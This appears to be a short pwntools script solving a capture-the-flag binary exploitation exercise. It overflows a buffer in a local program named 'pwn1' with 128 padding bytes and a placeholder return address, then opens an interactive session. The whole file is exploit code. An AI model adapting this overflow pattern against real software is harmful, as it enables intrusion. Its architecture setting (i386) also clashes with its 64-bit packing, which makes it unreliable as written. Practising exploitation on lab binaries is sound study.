from pwn import *


binary_path = ELF("./pwn1")

vuln_address = 0xdeadbabebeefc0de

def main():
	context(arch="i386",os="linux")
	s = process("./pwn1")
	s.recvuntil("> ")
	payload = "A" * 128
	payload += p64(vuln_address)
	s.sendline(payload)
	s.interactive()
	s.close()


if __name__ == '__main__':
	main()
